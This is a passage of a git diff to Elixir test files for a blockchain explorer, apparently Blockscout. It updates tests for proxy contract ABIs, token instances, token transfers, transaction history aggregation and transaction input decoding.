"_newOwner"}], + "constant" => false + }, + %{ + "type" => "constructor", + "stateMutability" => "nonpayable", + "payable" => false, + "inputs" => [ + %{"type" => "address", "name" => "_proxyStorage"}, + %{"type" => "address", "name" => "_implementationAddress"} + ] + }, + %{"type" => "fallback", "stateMutability" => "nonpayable", "payable" => false}, + %{ + "type" => "event", + "name" => "Upgraded", + "inputs" => [ + %{"type" => "uint256", "name" => "version", "indexed" => false}, + %{"type" => "address", "name" => "implementation", "indexed" => true} + ], + "anonymous" => false + }, + %{ + "type" => "event", + "name" => "OwnershipRenounced", + "inputs" => [%{"type" => "address", "name" => "previousOwner", "indexed" => true}], + "anonymous" => false + }, + %{ + "type" => "event", + "name" => "OwnershipTransferred", + "inputs" => [ + %{"type" => "address", "name" => "previousOwner", "indexed" => true}, + %{"type" => "address", "name" => "newOwner", "indexed" => true} + ], + "anonymous" => false + } + ] + + test "get_abi/1 returns implementation abi if implementation is verified" do + proxy_contract_address = insert(:contract_address) + insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") + + implementation_contract_address = insert(:contract_address) + + insert(:smart_contract, + address_hash: implementation_contract_address.hash, + abi: @abi, + contract_code_md5: "123" + ) + + implementation_contract_address_hash_string = + Base.encode16(implementation_contract_address.hash.bytes, case: :lower) + + implementation_abi = SmartContract.get_abi("0x" <> implementation_contract_address_hash_string) + + assert implementation_abi == @abi + end +end diff --git a/apps/explorer/test/explorer/chain/supply/rsk_test.exs b/apps/explorer/test/explorer/chain/supply/rsk_test.exs index 6efc2bb844bb..35e50cd0acd6 100644 --- a/apps/explorer/test/explorer/chain/supply/rsk_test.exs +++ b/apps/explorer/test/explorer/chain/supply/rsk_test.exs @@ -4,17 +4,19 @@ defmodule Explorer.Chain.Supply.RSKTest do import Mox alias Explorer.Chain.Supply.RSK - alias Explorer.ExchangeRates.Token + alias Explorer.Market.Token @coin_address "0x0000000000000000000000000000000001000006" @mult 1_000_000_000_000_000_000 + setup :verify_on_exit! + test "total is 21_000_000" do assert Decimal.equal?(RSK.total(), Decimal.new(21_000_000)) end describe "market_cap/1" do - @tag :no_parity + @tag :no_nethermind @tag :no_geth test "calculates market_cap" do EthereumJSONRPC.Mox @@ -22,7 +24,7 @@ defmodule Explorer.Chain.Supply.RSKTest do {:ok, [%{id: id, result: "20999999999900000000000000"}]} end) - exchange_rate = %{Token.null() | usd_value: Decimal.new(1_000_000)} + exchange_rate = %{Token.null() | fiat_value: Decimal.new(1_000_000)} assert Decimal.equal?(RSK.market_cap(exchange_rate), Decimal.from_float(100.0000)) end @@ -32,7 +34,7 @@ defmodule Explorer.Chain.Supply.RSKTest do end test "returns zero when usd_value is nil" do - exchange_rate = %{Token.null() | usd_value: nil} + exchange_rate = %{Token.null() | fiat_value: nil} assert RSK.market_cap(exchange_rate) == Decimal.new(0) end diff --git a/apps/explorer/test/explorer/chain/token/instance_test.exs b/apps/explorer/test/explorer/chain/token/instance_test.exs new file mode 100644 index 000000000000..88d8c2d97668 --- /dev/null +++ b/apps/explorer/test/explorer/chain/token/instance_test.exs @@ -0,0 +1,215 @@ +defmodule Explorer.Chain.Token.InstanceTest do + use Explorer.DataCase + + alias Explorer.Repo + alias Explorer.Chain.Token.Instance + alias Explorer.PagingOptions + + describe "stream_not_inserted_token_instances/2" do + test "reduces with given reducer and accumulator for ERC-721 token" do + token_contract_address = insert(:contract_address) + token = insert(:token, contract_address: token_contract_address, type: "ERC-721") + + transaction = + :transaction + |> insert() + |> with_block(insert(:block, number: 1)) + + token_transfer = + insert( + :token_transfer, + block_number: 1000, + to_address: build(:address), + transaction: transaction, + token_contract_address: token_contract_address, + token: token, + token_ids: [11] + ) + + assert [result] = 5 |> Instance.not_inserted_token_instances_query() |> Repo.all() + assert result.token_id == List.first(token_transfer.token_ids) + assert result.contract_address_hash == token_transfer.token_contract_address_hash + end + + test "does not fetch token transfers without token_ids" do + token_contract_address = insert(:contract_address) + token = insert(:token, contract_address: token_contract_address, type: "ERC-721") + + transaction = + :transaction + |> insert() + |> with_block(insert(:block, number: 1)) + + insert( + :token_transfer, + block_number: 1000, + to_address: build(:address), + transaction: transaction, + token_contract_address: token_contract_address, + token: token, + token_ids: nil + ) + + assert [] = 5 |> Instance.not_inserted_token_instances_query() |> Repo.all() + end + + test "do not fetch records with token instances" do + token_contract_address = insert(:contract_address) + token = insert(:token, contract_address: token_contract_address, type: "ERC-721") + + transaction = + :transaction + |> insert() + |> with_block(insert(:block, number: 1)) + + token_transfer = + insert( + :token_transfer, + block_number: 1000, + to_address: build(:address), + transaction: transaction, + token_contract_address: token_contract_address, + token: token, + token_ids: [11] + ) + + insert(:token_instance, + token_id: List.first(token_transfer.token_ids), + token_contract_address_hash: token_transfer.token_contract_address_hash + ) + + assert [] = 5 |> Instance.not_inserted_token_instances_query() |> Repo.all() + end + end + + describe "address_to_unique_tokens/2" do + test "unique tokens can be paginated through token_id" do + token_contract_address = insert(:contract_address) + token = insert(:token, contract_address: token_contract_address, type: "ERC-721") + + insert( + :token_instance, + token_contract_address_hash: token_contract_address.hash, + token_id: 11 + ) + + insert( + :token_instance, + token_contract_address_hash: token_contract_address.hash, + token_id: 29 + ) + + transaction = + :transaction + |> insert() + |> with_block(insert(:block, number: 1)) + + first_page = + insert( + :token_transfer, + block_number: 1000, + to_address: build(:address), + transaction: transaction, + token_contract_address: token_contract_address, + token: token, + token_ids: [29] + ) + + second_page = + insert( + :token_transfer, + block_number: 999, + to_address: build(:address), + transaction: transaction, + token_contract_address: token_contract_address, + token: token, + token_ids: [11] + ) + + paging_options = %PagingOptions{key: {List.first(first_page.token_ids)}, page_size: 1} + + unique_tokens_ids_paginated = + token_contract_address.hash + |> Instance.address_to_unique_tokens(token, paging_options: paging_options) + |> Enum.map(& &1.token_id) + + assert unique_tokens_ids_paginated == [List.first(second_page.token_ids)] + end + end + + describe "nft_instance_by_token_id_and_token_address/2" do + test "return NFT instance" do + token = insert(:token) + + token_id = 10 + + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + token_id: token_id + ) + + assert {:ok, result} = + Instance.nft_instance_by_token_id_and_token_address( + token_id, + token.contract_address_hash + ) + + assert result.token_id == Decimal.new(token_id) + end + end + + describe "batch_upsert_token_instances/1" do + test "insert a new token instance with valid params" do + token = insert(:token) + + params = %{ + token_id: 1, + token_contract_address_hash: token.contract_address_hash, + metadata: %{uri: "http://example.com"} + } + + [result] = Instance.batch_upsert_token_instances([params]) + + assert result.token_id == Decimal.new(1) + assert result.metadata == %{"uri" => "http://example.com"} + assert result.token_contract_address_hash == token.contract_address_hash + end + + test "inserts just an error without metadata" do + token = insert(:token) + error = "no uri" + + params = %{ + token_id: 1, + token_contract_address_hash: token.contract_address_hash, + error: error + } + + [result] = Instance.batch_upsert_token_instances([params]) + + assert result.error == error + end + + test "nillifies error" do + token = insert(:token) + + insert(:token_instance, + token_id: 1, + token_contract_address_hash: token.contract_address_hash, + error: "no uri", + metadata: nil + ) + + params = %{ + token_id: 1, + token_contract_address_hash: token.contract_address_hash, + metadata: %{uri: "http://example1.com"} + } + + [result] = Instance.batch_upsert_token_instances([params]) + + assert is_nil(result.error) + assert result.metadata == %{"uri" => "http://example1.com"} + end + end +end diff --git a/apps/explorer/test/explorer/chain/token_test.exs b/apps/explorer/test/explorer/chain/token_test.exs index 42eb7fecad49..2d4e69587296 100644 --- a/apps/explorer/test/explorer/chain/token_test.exs +++ b/apps/explorer/test/explorer/chain/token_test.exs @@ -3,27 +3,149 @@ defmodule Explorer.Chain.TokenTest do import Explorer.Factory - alias Explorer.Chain.Token + alias Explorer.Chain.{Address, Token} alias Explorer.Repo describe "cataloged_tokens/0" do test "filters only cataloged tokens" do {:ok, date} = DateTime.now("Etc/UTC") hours_ago_date = DateTime.add(date, -:timer.hours(60), :millisecond) - token = insert(:token, cataloged: true, updated_at: hours_ago_date) + token = insert(:token, cataloged: true, metadata_updated_at: hours_ago_date) insert(:token, cataloged: false) - assert Repo.all(Token.cataloged_tokens()) == [token.contract_address_hash] + [token_from_db] = Repo.all(Token.cataloged_tokens()) + + assert token_from_db.contract_address_hash == token.contract_address_hash + end + + test "filters cataloged tokens with nil metadata_updated_at" do + token = insert(:token, cataloged: true, metadata_updated_at: nil) + + [token_from_db] = Repo.all(Token.cataloged_tokens()) + + assert token_from_db.contract_address_hash == token.contract_address_hash end - test "filter tokens by updated_at field" do + test "filter tokens by metadata_updated_at field" do {:ok, date} = DateTime.now("Etc/UTC") hours_ago_date = DateTime.add(date, -:timer.hours(60), :millisecond) - token = insert(:token, cataloged: true, updated_at: hours_ago_date) - insert(:token, cataloged: true) + token = insert(:token, cataloged: true, metadata_updated_at: hours_ago_date) + + [token_from_db] = Repo.all(Token.cataloged_tokens()) + + assert token_from_db.contract_address_hash == token.contract_address_hash + end + end + + describe "stream_cataloged_tokens/2" do + test "reduces with given reducer and accumulator" do + today = DateTime.utc_now() + yesterday = Timex.shift(today, days: -1) + token = insert(:token, cataloged: true, metadata_updated_at: yesterday) + insert(:token, cataloged: false) + {:ok, [token_from_func]} = Token.stream_cataloged_tokens([], &[&1 | &2], 1) + assert token_from_func.contract_address_hash == token.contract_address_hash + end + + test "sorts the tokens by metadata_updated_at in ascending order" do + today = DateTime.utc_now() + yesterday = Timex.shift(today, days: -1) + two_days_ago = Timex.shift(today, days: -2) + + token1 = insert(:token, %{cataloged: true, metadata_updated_at: yesterday}) + token2 = insert(:token, %{cataloged: true, metadata_updated_at: two_days_ago}) + + expected_response = + [token1, token2] + |> Enum.sort(&(Timex.to_unix(&1.metadata_updated_at) < Timex.to_unix(&2.metadata_updated_at))) + |> Enum.map(& &1.contract_address_hash) + + {:ok, response} = Token.stream_cataloged_tokens([], &(&2 ++ [&1]), 12) + + formatted_response = + response + |> Enum.sort(&(Timex.to_unix(&1.metadata_updated_at) < Timex.to_unix(&2.metadata_updated_at))) + |> Enum.map(& &1.contract_address_hash) + + assert formatted_response == expected_response + end + end + + describe "update/2" do + test "updates a token's values" do + token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) + + update_params = %{ + name: "Hodl Token", + symbol: "HT", + total_supply: 10, + decimals: Decimal.new(1), + cataloged: true + } + + assert {:ok, updated_token} = Token.update(token, update_params) + assert updated_token.name == update_params.name + assert updated_token.symbol == update_params.symbol + assert updated_token.total_supply == Decimal.new(update_params.total_supply) + assert updated_token.decimals == update_params.decimals + assert updated_token.cataloged + end + + test "trims names of whitespace" do + token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) + + update_params = %{ + name: " Hodl Token ", + symbol: "HT", + total_supply: 10, + decimals: 1, + cataloged: true + } + + assert {:ok, updated_token} = Token.update(token, update_params) + assert updated_token.name == "Hodl Token" + assert Repo.get_by(Address.Name, name: "Hodl Token") + end + + test "inserts an address name record when token has a name in params" do + token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) + + update_params = %{ + name: "Hodl Token", + symbol: "HT", + total_supply: 10, + decimals: 1, + cataloged: true + } + + Token.update(token, update_params) + assert Repo.get_by(Address.Name, name: update_params.name, address_hash: token.contract_address_hash) + end + + test "does not insert address name record when token doesn't have name in params" do + token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) + + update_params = %{ + cataloged: true + } + + Token.update(token, update_params) + refute Repo.get_by(Address.Name, address_hash: token.contract_address_hash) + end + + test "stores token with big 'decimals' values" do + token = insert(:token, name: nil, symbol: nil, total_supply: nil, decimals: nil, cataloged: false) + + update_params = %{ + name: "Hodl Token", + symbol: "HT", + total_supply: 10, + decimals: 1_000_000_000_000_000_000, + cataloged: true + } - assert Repo.all(Token.cataloged_tokens()) == [token.contract_address_hash] + assert {:ok, _updated_token} = Token.update(token, update_params) end end end diff --git a/apps/explorer/test/explorer/chain/token_transfer_test.exs b/apps/explorer/test/explorer/chain/token_transfer_test.exs index f82ab71323e5..70a2ecd3f959 100644 --- a/apps/explorer/test/explorer/chain/token_transfer_test.exs +++ b/apps/explorer/test/explorer/chain/token_transfer_test.exs @@ -1,9 +1,12 @@ defmodule Explorer.Chain.TokenTransferTest do use Explorer.DataCase + use Utils.CompileTimeEnvHelper, + chain_type: [:explorer, :chain_type] + import Explorer.Factory - alias Explorer.{PagingOptions, Repo} + alias Explorer.PagingOptions alias Explorer.Chain.TokenTransfer doctest Explorer.Chain.TokenTransfer @@ -146,56 +149,6 @@ defmodule Explorer.Chain.TokenTransferTest do end end - describe "address_to_unique_tokens/2" do - test "returns list of unique tokens for a token contract" do - token_contract_address = insert(:contract_address) - token = insert(:token, contract_address: token_contract_address, type: "ERC-721") - - transaction = - :transaction - |> insert() - |> with_block(insert(:block, number: 1)) - - insert( - :token_instance, - token_id: 42, - token_contract_address_hash: token_contract_address.hash - ) - - insert( - :token_transfer, - to_address: build(:address), - transaction: transaction, - token_contract_address: token_contract_address, - token: token, - token_id: 42 - ) - - another_transaction = - :transaction - |> insert() - |> with_block(insert(:block, number: 3)) - - last_owner = - insert( - :token_transfer, - to_address: build(:address), - transaction: another_transaction, - token_contract_address: token_contract_address, - token: token, - token_id: 42 - ) - - results = - token_contract_address.hash - |> TokenTransfer.address_to_unique_tokens() - |> Repo.all() - - assert Enum.map(results, & &1.token_id) == [last_owner.token_id] - assert Enum.map(results, & &1.to_address_hash) == [last_owner.to_address_hash] - end - end - describe "where_any_address_fields_match/3" do test "when to_address_hash match returns transactions hashes list" do john = insert(:address) @@ -375,4 +328,76 @@ defmodule Explorer.Chain.TokenTransferTest do assert Enum.member?(page_two, transaction_one_bytes) == true end end + + describe "uncataloged_token_transfer_block_numbers/0" do + test "returns a list of block numbers" do + block = insert(:block) + address = insert(:address) + + log = + insert(:token_transfer_log, + transaction: + insert(:transaction, + block_number: block.number, + block_hash: block.hash, + cumulative_gas_used: 0, + gas_used: 0, + index: 0 + ), + block: block, + address_hash: address.hash, + address: address + ) + + block_number = log.block_number + assert {:ok, [^block_number]} = TokenTransfer.uncataloged_token_transfer_block_numbers() + end + end + + if @chain_type == :celo do + test "returns block numbers for Celo epoch blocks with nil transaction_hash" do + log = + insert(:token_transfer_log, + transaction: nil, + transaction_hash: nil + ) + + block_number = log.block_number + assert {:ok, [^block_number]} = TokenTransfer.uncataloged_token_transfer_block_numbers() + end + + test "does not return block numbers when matching token transfer exists for Celo epoch blocks" do + log = + insert(:token_transfer_log, + transaction: nil, + transaction_hash: nil + ) + + from_address_hash = + log.second_topic + |> to_string() + |> String.replace_prefix("0x000000000000000000000000", "0x") + + to_address_hash = + log.third_topic + |> to_string() + |> String.replace_prefix("0x000000000000000000000000", "0x") + + token_contract_address = log.address + to_address = insert(:address, hash: to_address_hash) + from_address = insert(:address, hash: from_address_hash) + + insert(:token_transfer, + transaction: nil, + transaction_hash: nil, + block: log.block, + log_index: log.index, + token_contract_address: token_contract_address, + from_address: from_address, + to_address: to_address + ) + + assert {:ok, []} = TokenTransfer.uncataloged_token_transfer_block_numbers() + end + end end diff --git a/apps/explorer/test/explorer/chain/transaction/history/historian_test.exs b/apps/explorer/test/explorer/chain/transaction/history/historian_test.exs index 39c49953251c..6a8015dda77e 100644 --- a/apps/explorer/test/explorer/chain/transaction/history/historian_test.exs +++ b/apps/explorer/test/explorer/chain/transaction/history/historian_test.exs @@ -18,14 +18,14 @@ defmodule Explorer.Chain.Transaction.History.HistorianTest do describe "compile_records/1" do test "fetches transactions, total gas, total fee from blocks mined in the past num_days" do blocks = [ + # 1970-01-02 00:00:00 + insert(:block, timestamp: DateTime.from_unix!(days_to_secs(1))), + # 1970-01-03 00:00:60 insert(:block, timestamp: DateTime.from_unix!(days_to_secs(2) + 60)), # 1970-01-03 04:00:00 - insert(:block, timestamp: DateTime.from_unix!(days_to_secs(2) + 4 * 60 * 60)), - - # 1970-01-02 00:00:00 - insert(:block, timestamp: DateTime.from_unix!(days_to_secs(1))) + insert(:block, timestamp: DateTime.from_unix!(days_to_secs(2) + 4 * 60 * 60)) ] transaction_1 = insert(:transaction) |> with_block(Enum.at(blocks, 0), status: :ok) @@ -38,31 +38,31 @@ defmodule Explorer.Chain.Transaction.History.HistorianTest do assert {:ok, ^expected} = Historian.compile_records(1) - total_gas_used_1 = Decimal.add(transaction_1.gas_used, transaction_2.gas_used) + total_gas_used_01_03 = Decimal.add(transaction_2.gas_used, transaction_3.gas_used) %Explorer.Chain.Wei{value: transaction_1_gas_price_value} = transaction_1.gas_price %Explorer.Chain.Wei{value: transaction_2_gas_price_value} = transaction_2.gas_price %Explorer.Chain.Wei{value: transaction_3_gas_price_value} = transaction_3.gas_price - total_fee_1 = + total_fee_01_03 = Decimal.add( - Decimal.mult(transaction_1.gas_used, transaction_1_gas_price_value), - Decimal.mult(transaction_2.gas_used, transaction_2_gas_price_value) + Decimal.mult(transaction_2.gas_used, transaction_2_gas_price_value), + Decimal.mult(transaction_3.gas_used, transaction_3_gas_price_value) ) - total_fee_3 = Decimal.mult(transaction_3.gas_used, transaction_3_gas_price_value) + total_fee_01_02 = Decimal.mult(transaction_1.gas_used, transaction_1_gas_price_value) expected = [ %{date: ~D[1970-01-04], number_of_transactions: 0, gas_used: 0, total_fee: 0}, - %{date: ~D[1970-01-03], gas_used: total_gas_used_1, number_of_transactions: 2, total_fee: total_fee_1} + %{date: ~D[1970-01-03], gas_used: total_gas_used_01_03, number_of_transactions: 2, total_fee: total_fee_01_03} ] assert {:ok, ^expected} = Historian.compile_records(2) expected = [ %{date: ~D[1970-01-04], number_of_transactions: 0, gas_used: 0, total_fee: 0}, - %{date: ~D[1970-01-03], gas_used: total_gas_used_1, number_of_transactions: 2, total_fee: total_fee_1}, - %{date: ~D[1970-01-02], gas_used: transaction_3.gas_used, number_of_transactions: 1, total_fee: total_fee_3} + %{date: ~D[1970-01-03], gas_used: total_gas_used_01_03, number_of_transactions: 2, total_fee: total_fee_01_03}, + %{date: ~D[1970-01-02], gas_used: transaction_1.gas_used, number_of_transactions: 1, total_fee: total_fee_01_02} ] assert {:ok, ^expected} = Historian.compile_records(3) diff --git a/apps/explorer/test/explorer/chain/transaction_test.exs b/apps/explorer/test/explorer/chain/transaction_test.exs index 508fae9fac88..c97680326219 100644 --- a/apps/explorer/test/explorer/chain/transaction_test.exs +++ b/apps/explorer/test/explorer/chain/transaction_test.exs @@ -4,10 +4,15 @@ defmodule Explorer.Chain.TransactionTest do import Mox alias Ecto.Changeset - alias Explorer.Chain.Transaction + alias Explorer.Chain.{Address, InternalTransaction, Transaction} + alias Explorer.{PagingOptions, TestHelper} doctest Transaction + setup :set_mox_global + + setup :verify_on_exit! + describe "changeset/2" do test "with valid attributes" do assert %Changeset{valid?: true} = @@ -244,33 +249,38 @@ defmodule Explorer.Chain.TransactionTest do end describe "decoded_input_data/1" do - test "that a tranasction that is not a contract call returns a commensurate error" do + test "that a transaction that is not a contract call returns a commensurate error" do transaction = insert(:transaction) - assert Transaction.decoded_input_data(transaction) == {:error, :not_a_contract_call} + assert {:error, :not_a_contract_call} = Transaction.decoded_input_data(transaction, []) end test "that a contract call transaction that has no verified contract returns a commensurate error" do transaction = :transaction - |> insert(to_address: insert(:contract_address)) + |> insert(to_address: insert(:contract_address), input: "0x1234567891") |> Repo.preload(to_address: :smart_contract) - assert Transaction.decoded_input_data(transaction) == {:error, :contract_not_verified, []} + assert {:error, :contract_not_verified, []} = Transaction.decoded_input_data(transaction, []) end test "that a contract call transaction that has a verified contract returns the decoded input data" do + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + transaction = :transaction_to_verified_contract |> insert() |> Repo.preload(to_address: :smart_contract) - get_eip1967_implementation() - - assert Transaction.decoded_input_data(transaction) == {:ok, "60fe47b1", "set(uint256 x)", [{"x", "uint256", 50}]} + assert {:ok, "60fe47b1", "set(uint256 x)", [{"x", "uint256", 50}]} = + Transaction.decoded_input_data(transaction, []) end test "that a contract call will look up a match in contract_methods table" do + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + :transaction_to_verified_contract |> insert() |> Repo.preload(to_address: :smart_contract) @@ -287,9 +297,43 @@ defmodule Explorer.Chain.TransactionTest do |> insert(to_address: contract.address, input: "0x" <> input_data) |> Repo.preload(to_address: :smart_contract) - get_eip1967_implementation() + assert {:ok, "60fe47b1", "set(uint256 x)", [{"x", "uint256", 10}]} = + Transaction.decoded_input_data(transaction, []) + end + + test "arguments name in function call replaced with argN if it's empty string" do + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + contract = + insert(:smart_contract, + contract_code_md5: "123", + abi: [ + %{ + "constant" => false, + "inputs" => [%{"name" => "", "type" => "uint256"}], + "name" => "set", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + } + ] + ) + |> Repo.preload(:address) + + input_data = + "set(uint)" + |> ABI.encode([10]) + |> Base.encode16(case: :lower) + + transaction = + :transaction + |> insert(to_address: contract.address, input: "0x" <> input_data) + |> Repo.preload(to_address: :smart_contract) - assert Transaction.decoded_input_data(transaction) == {:ok, "60fe47b1", "set(uint256 x)", [{"x", "uint256", 10}]} + assert {:ok, "60fe47b1", "set(uint256 arg0)", [{"arg0", "uint256", 10}]} = + Transaction.decoded_input_data(transaction, []) end end @@ -307,43 +351,532 @@ defmodule Explorer.Chain.TransactionTest do end end - def get_eip1967_implementation do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) + describe "address_to_transactions_tasks_range_of_blocks/2" do + test "returns empty extremums if no transactions" do + address = insert(:address) + + extremums = Transaction.address_to_transactions_tasks_range_of_blocks(address.hash, []) + + assert extremums == %{ + :min_block_number => nil, + :max_block_number => 0 + } + end + + test "returns correct extremums for from_address" do + address = insert(:address) + + :transaction + |> insert(from_address: address) + |> with_block(insert(:block, number: 1000)) + + extremums = Transaction.address_to_transactions_tasks_range_of_blocks(address.hash, []) + + assert extremums == %{ + :min_block_number => 1000, + :max_block_number => 1000 + } + end + + test "returns correct extremums for to_address" do + address = insert(:address) + + :transaction + |> insert(to_address: address) + |> with_block(insert(:block, number: 1000)) + + extremums = Transaction.address_to_transactions_tasks_range_of_blocks(address.hash, []) + + assert extremums == %{ + :min_block_number => 1000, + :max_block_number => 1000 + } + end + + test "returns correct extremums for created_contract_address" do + address = insert(:address) + + :transaction + |> insert(created_contract_address: address) + |> with_block(insert(:block, number: 1000)) + + extremums = Transaction.address_to_transactions_tasks_range_of_blocks(address.hash, []) + + assert extremums == %{ + :min_block_number => 1000, + :max_block_number => 1000 + } + end + + test "returns correct extremums for multiple number of transactions" do + address = insert(:address) + + :transaction + |> insert(created_contract_address: address) + |> with_block(insert(:block, number: 1000)) + + :transaction + |> insert(created_contract_address: address) + |> with_block(insert(:block, number: 999)) + + :transaction + |> insert(created_contract_address: address) + |> with_block(insert(:block, number: 1003)) + + :transaction + |> insert(from_address: address) + |> with_block(insert(:block, number: 1001)) + + :transaction + |> insert(from_address: address) + |> with_block(insert(:block, number: 1004)) + + :transaction + |> insert(to_address: address) + |> with_block(insert(:block, number: 1002)) + + :transaction + |> insert(to_address: address) + |> with_block(insert(:block, number: 998)) + + extremums = Transaction.address_to_transactions_tasks_range_of_blocks(address.hash, []) + + assert extremums == %{ + :min_block_number => 998, + :max_block_number => 1004 + } + end + end + + describe "address_to_transactions_with_rewards/2" do + test "without transactions" do + %Address{hash: address_hash} = insert(:address) + + assert Repo.aggregate(Transaction, :count, :hash) == 0 + + assert [] == Transaction.address_to_transactions_with_rewards(address_hash) + end + + test "with from transactions" do + %Address{hash: address_hash} = address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + assert [transaction] == + Transaction.address_to_transactions_with_rewards(address_hash, direction: :from) + |> Repo.preload([:block, :to_address, :from_address]) + end + + test "with to transactions" do + %Address{hash: address_hash} = address = insert(:address) + + transaction = + :transaction + |> insert(to_address: address) + |> with_block() + + assert [transaction] == + Transaction.address_to_transactions_with_rewards(address_hash, direction: :to) + |> Repo.preload([:block, :to_address, :from_address]) + end + + test "with to and from transactions and direction: :from" do + %Address{hash: address_hash} = address = insert(:address) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block() + + # only contains "from" transaction + assert [transaction] == + Transaction.address_to_transactions_with_rewards(address_hash, direction: :from) + |> Repo.preload([:block, :to_address, :from_address]) + end + + test "with to and from transactions and direction: :to" do + %Address{hash: address_hash} = address = insert(:address) + + transaction = + :transaction + |> insert(to_address: address) + |> with_block() + + assert [transaction] == + Transaction.address_to_transactions_with_rewards(address_hash, direction: :to) + |> Repo.preload([:block, :to_address, :from_address]) + end + + test "with to and from transactions and no :direction option" do + %Address{hash: address_hash} = address = insert(:address) + block = insert(:block) + + transaction1 = + :transaction + |> insert(to_address: address) + |> with_block(block) + + transaction2 = + :transaction + |> insert(from_address: address) + |> with_block(block) + + assert [transaction2, transaction1] == + Transaction.address_to_transactions_with_rewards(address_hash) + |> Repo.preload([:block, :to_address, :from_address]) + end + + test "does not include non-contract-creation parent transactions" do + transaction = + %Transaction{} = + :transaction + |> insert() + |> with_block() + + %InternalTransaction{created_contract_address: address} = + insert(:internal_transaction_create, + transaction: transaction, + index: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + assert [] == Transaction.address_to_transactions_with_rewards(address.hash) + end + + test "returns transactions that have token transfers for the given to_address" do + %Address{hash: address_hash} = address = insert(:address) + + transaction = + :transaction + |> insert(to_address: address, to_address_hash: address.hash) + |> with_block() + + insert( + :token_transfer, + to_address: address, + transaction: transaction + ) + + assert [transaction.hash] == + Transaction.address_to_transactions_with_rewards(address_hash) + |> Enum.map(& &1.hash) + end + + test "with transactions can be paginated" do + %Address{hash: address_hash} = address = insert(:address) + + second_page_hashes = + 2 + |> insert_list(:transaction, from_address: address) + |> with_block() + |> Enum.map(& &1.hash) + + %Transaction{block_number: block_number, index: index} = + :transaction + |> insert(from_address: address) + |> with_block() + + assert second_page_hashes == + address_hash + |> Transaction.address_to_transactions_with_rewards( + paging_options: %PagingOptions{ + key: {block_number, index}, + page_size: 2 + } + ) + |> Enum.map(& &1.hash) + |> Enum.reverse() + end + + test "returns results in reverse chronological order by block number and transaction index" do + %Address{hash: address_hash} = address = insert(:address) + + a_block = insert(:block, number: 6000) + + %Transaction{hash: first} = + :transaction + |> insert(to_address: address) + |> with_block(a_block) + + %Transaction{hash: second} = + :transaction + |> insert(to_address: address) + |> with_block(a_block) + + %Transaction{hash: third} = + :transaction + |> insert(to_address: address) + |> with_block(a_block) + + %Transaction{hash: fourth} = + :transaction + |> insert(to_address: address) + |> with_block(a_block) + + b_block = insert(:block, number: 2000) + + %Transaction{hash: fifth} = + :transaction + |> insert(to_address: address) + |> with_block(b_block) + + %Transaction{hash: sixth} = + :transaction + |> insert(to_address: address) + |> with_block(b_block) + + result = + address_hash + |> Transaction.address_to_transactions_with_rewards() + |> Enum.map(& &1.hash) + + assert [fourth, third, second, first, sixth, fifth] == result + end + + test "with emission rewards" do + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: true) + + Application.put_env(:explorer, Explorer.Chain.Block.Reward, + validators_contract_address: "0x0000000000000000000000000000000000000005", + keys_manager_contract_address: "0x0000000000000000000000000000000000000006" + ) + + consumer_pid = start_supervised!(Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand) + :erlang.trace(consumer_pid, true, [:receive]) + + block = insert(:block) + + block_miner_hash_string = Base.encode16(block.miner_hash.bytes, case: :lower) + block_miner_hash = block.miner_hash + + insert( + :reward, + address_hash: block.miner_hash, + block_hash: block.hash, + address_type: :validator + ) + + insert( + :reward, + address_hash: block.miner_hash, + block_hash: block.hash, + address_type: :emission_funds + ) + + # isValidator => true + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> + {:ok, + [%{id: id, jsonrpc: "2.0", result: "0x0000000000000000000000000000000000000000000000000000000000000001"}]} + end + ) + + # getPayoutByMining => 0x0000000000000000000000000000000000000001 + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> + {:ok, [%{id: id, result: "0x000000000000000000000000" <> block_miner_hash_string}]} + end + ) + + res = Transaction.address_to_transactions_with_rewards(block.miner.hash) + assert [{_, _}] = res + + assert_receive {:trace, ^consumer_pid, :receive, {:"$gen_cast", {:fetch_or_update, ^block_miner_hash}}}, 1000 + :timer.sleep(500) + + on_exit(fn -> + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) + + Application.put_env(:explorer, Explorer.Chain.Block.Reward, + validators_contract_address: nil, + keys_manager_contract_address: nil + ) + end) + end + + test "with emission rewards and transactions" do + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: true) + + Application.put_env(:explorer, 